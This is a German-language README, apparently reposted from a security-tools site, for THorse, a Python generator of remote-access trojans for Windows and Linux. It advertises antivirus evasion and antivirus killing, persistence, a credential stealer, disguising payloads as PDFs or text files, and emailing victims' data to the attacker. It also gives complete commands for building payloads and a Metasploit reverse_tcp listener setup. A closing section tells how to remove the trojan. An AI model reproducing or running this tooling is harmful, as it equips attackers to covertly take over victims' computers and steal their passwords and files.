THorse

THorse ist ein RAT (Remote Administrator Trojan)-Generator für Windows/Linux-Systeme, geschrieben in Python 3.

                    Dieses kleine Python-Skript kann wirklich großartige Arbeit leisten.

Haftungsausschluss

:computer: Dieses Projekt wurde nur für gute Zwecke und den persönlichen Gebrauch erstellt.

DIESE SOFTWARE WIRD OHNE JEGLICHE GEWÄHRLEISTUNG BEREITGESTELLT. SIE NUTZEN DIESE SOFTWARE AUF EIGENES RISIKO. DIE NUTZUNG LIEGT IN DER ALLEINIGEN VERANTWORTUNG DES ENDBENUTZERS. DIE ENTWICKLER ÜBERNEHMEN KEINE HAFTUNG UND SIND NICHT VERANTWORTLICH FÜR MISSBRAUCH ODER SCHÄDEN, DIE DURCH DIESES PROGRAMM VERURSACHT WERDEN.

Funktionen

• Funktioniert unter Windows/Linux
• Benachrichtigt über neues Opfer per E-Mail
• Unentdeckbar
• Erfordert keine Root- oder Administratorrechte
• Persistenz
• Sendet Screenshot des Opferbildschirms per E-Mail
• Gewährt dem Angreifer vollen Meterpreter-Zugriff
• Erfordert nicht einmal die Installation von Metasploit zur Trojaner-Erstellung
• Erstellt ausführbare Binärdatei ohne Abhängigkeiten
• Erstellt kleinere Payloads (~5 MB) mit erweiterter Funktionalität
• Verschleiert die Payload vor dem Kompilieren, um zusätzliche Antivirenprogramme zu umgehen
• Generierte Payload ist mit Base64 kodiert, was das Reverse Engineering extrem erschwert
• Tötet Antivirensoftware auf dem Opfer-PC und versucht, das Windows-Sicherheitscenter zu deaktivieren
• Großartige farbenfrohe Oberfläche zur Payload-Erstellung

Hinweis: Benutzerdefinierter Stealer ist programmiert, basiert nicht auf LaZagne

Getestet auf

Kali Linux - ROLLING EDITION

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

Im Folgenden sind die Einschränkungen der mit Metasploit generierten Meterpreter-Payload aufgeführt:-

• Der Metasploit-Listener muss vor der Ausführung der Hintertür gestartet werden
• Die Hintertür wird nicht persistent; wir müssen die Post-Exploitation-Module verwenden, um die Hintertür persistent zu machen. Und Post-Exploitation-Module können erst nach erfolgreicher Ausnutzung verwendet werden.
• Benachrichtigt uns nicht, wenn die Payload auf einem neuen System ausgeführt wird.

Wir alle wissen, wie leistungsfähig die Meterpreter-Payload ist, aber die daraus erstellte Payload ist dennoch nicht zufriedenstellend.

Im Folgenden sind die Funktionen dieses Payload-Generators aufgeführt, die Ihnen eine gute Vorstellung von diesem Python-Skript geben:-

• Verwendet die Windows-Registrierung, um unter Windows persistent zu werden.
• Wird auch unter Linux persistent.
• Die Payload kann sowohl unter LINUX als auch unter WINDOWS ausgeführt werden.
• Bietet vollen Zugriff, da der Metasploit-Listener verwendet werden kann und auch ein benutzerdefinierter Listener unterstützt wird (Sie können Ihren eigenen Listener erstellen)
• Sendet eine E-Mail-Benachrichtigung, wenn die Payload auf einem neuen System ausgeführt wird, mit vollständigen Systeminformationen.
• Generiert die Payload innerhalb von 1 Minute oder noch weniger.
• Unterstützt alle Meterpreter-Post-Exploitation-Module.
• Die Payload kann sowohl auf Windows- als auch auf Linux-Systemen erstellt werden.

Voraussetzung

• Python 3.X
• Einige externe Module

Bitte beachten:

Unter Windows geben Sie bitte den Pyinstaller-Pfad in paygen.py an [Zeile 14]

Der Standardpfad ist: PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")

Ändern Sie es entsprechend Ihrem System

Verwendung unter Linux

# Install dependencies 
$ Install latest python 3.x

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ bash installer_linux.sh

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Verwendung auf einem VPS (empfohlen)

# 1. Setup a VPS, You can buy Ubuntu VPS from any VPS Provider such as Digital Ocean, Linode, AWS, etc

# 2. Connect to your VPS Using SSH
$ ssh username@ip_address

# 3. Update Your Linux VPS
$ sudo apt update

# 4. Add Kali Linux Repository
$ sudo sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

# 5. Install gnupg package
$ sudo apt install gnupg

# 6. Add Kali Public Keys
$ wget 'https://archive.kali.org/archive-key.asc' && sudo apt-key add archive-key.asc

# 7. Update VPS
$ sudo apt update

# 8. Set Kali Priority
$ sudo sh -c "echo 'Package: *'>/etc/apt/preferences.d/kali.pref; echo 'Pin: release a=kali-rolling'>>/etc/apt/preferences.d/kali.pref; echo 'Pin-Priority: 50'>>/etc/apt/preferences.d/kali.pref"

# 9. Update VPS
$ sudo apt update

# 10. Install Metasploit Framework in VPS
$ sudo apt install -t kali-rolling metasploit-framework

# NOTE: Above Steps needs to be performed only for once 

# 11. Install pip3
$ sudo apt install python3-pip

# 12. Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# 13. Go into the repository
$ cd thorse

# 14. Installing dependencies
$ bash installer_linux.sh

# 15. If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ 16. chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT (If you want to Compile RAT for Windows, then Build RAT on Windows Machine & Use VPS for Controlling RAT Remotely)
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Verwendung unter Windows

# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open paygen.py in Text editor and Configure Line 15, set Pyinstaller path, Default Path is as follows :-
# PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe") 

# Getting Help Menu
$ python paygen.py --help

# Making Payload/RAT
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT binded with legitimate file [Any file .exe, .pdf, .txt etc]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon/txt.ico --bind passwords.txt 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Hinweis: Die schädliche Datei wird im Ordner dist/ innerhalb von technowhorse/ gespeichert.

Verbindung mit Msfconsole herstellen

• Sie müssen Metasploit-Framework auf Ihrem System installieren, um eine Verbindung herzustellen

• Empfohlene Einstellungen; Sie können es auch mit einer anderen Payload in Zeile 2 testen

$ sudo msfconsole
msf3> use exploit/multi/handler
msf3> set payload python/meterpreter/reverse_tcp
msf3> set LHOST 192.168.43.221
msf3> set LPORT 443
msf3> run

Aktualisieren

• Führen Sie updater.py aus, um automatisch zu aktualisieren, oder laden Sie das neueste ZIP von diesem GitHub-Repo herunter
• Hinweis: Git muss installiert sein, um updater.py zu verwenden

Verfügbare Argumente

• Optionale Argumente

Hinweis: Entweder -w/--windows oder -l/--linux muss angegeben werden

• Erforderliche Argumente

Neue Screenshots:

Hilfe abrufen

Payload generieren

Siehe auch diese alten Bilder

~Alte Screenshots:

Hilfe abrufen

Ausführen des paygen.py-Skripts

Wenn der RAT läuft, fügt er einen Registrierungseintrag zur Persistenz hinzu

Erstellt eine Kopie von sich selbst und speichert sie im Roaming-Ordner

Vom RAT gesendeter Bericht

Benachrichtigung vom Opfer-PC erhalten

Mitwirkende:

Derzeit wird dieses Repo von mir (Pushpender Singh) verwaltet. Wenn Sie jedoch Mitwirkender werden möchten, fügen Sie eine coole Funktion hinzu und erstellen Sie einen Pull-Request. Ich werde ihn überprüfen und in dieses Repo zusammenführen.

Alle Pull-Requests von Mitwirkenden werden akzeptiert, wenn der Pull-Request für dieses Repo würdig ist.

TODO

• Neue Funktionen hinzufügen
• GUI beisteuern

Entfernen von TechNowHorse unter Windows:

Methode 1:

• Gehen Sie zu Start, geben Sie regedit ein und führen Sie das erste Programm aus. Dadurch wird der Registrierungseditor geöffnet.
• Navigieren Sie zum folgenden Pfad Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Dort sollte ein Eintrag namens winexplorer sein. Klicken Sie mit der rechten Maustaste auf diesen Eintrag und wählen Sie Löschen.
• Gehen Sie zu Ihrem Benutzerpfad > AppData > Roaming. Dort sehen Sie eine Datei namens „explorer.exe“ – das ist der RAT. Rechtsklick > Löschen.
• Starten Sie das System neu.

Methode 2:

• Führen Sie „RemoveTHorse.bat“ auf dem infizierten System aus und starten Sie dann den PC neu, um die aktuell laufende schädliche Datei zu stoppen.

Entfernen von TechNowHorse unter Linux:

• Öffnen Sie die Autostart-Datei mit einem beliebigen Texteditor, Autostart-Dateipfad: ~/.config/autostart/xinput.desktop

• Entfernen Sie diese 5 Zeilen:

  root@kitploit:~

     [Desktop Entry]
     Type=Application
     X-GNOME-Autostart-enabled=true
     Name=Xinput
     Exec="destination_file_name"
  

• Hinweis: destination_file_name ist der Name der schädlichen Datei, die Sie Ihrem TrojanHorse mit dem Parameter -o gegeben haben.

• Starten Sie Ihr System neu und löschen Sie dann die schädliche Datei, die unter dem folgenden Pfad gespeichert ist

• Zielpfad, in dem TrojanHorse gespeichert ist: ~/.config/xnput

Mitwirkende

• Dedicated Contributors List: Contributors

Pushpender Singh :computer:

Beiträge jeder Art sind willkommen!

HINWEIS: Wenn Sie auf der Liste der Mitwirkenden stehen sollten, wir Sie aber vergessen haben, dann lassen Sie es uns bitte wissen!

TODO Liste

• Eigene Funktion vorschlagen : )
• GUI-Entwicklung
• Fehlerbehebung
• Weitere Browser-Passwortdiebe hinzufügen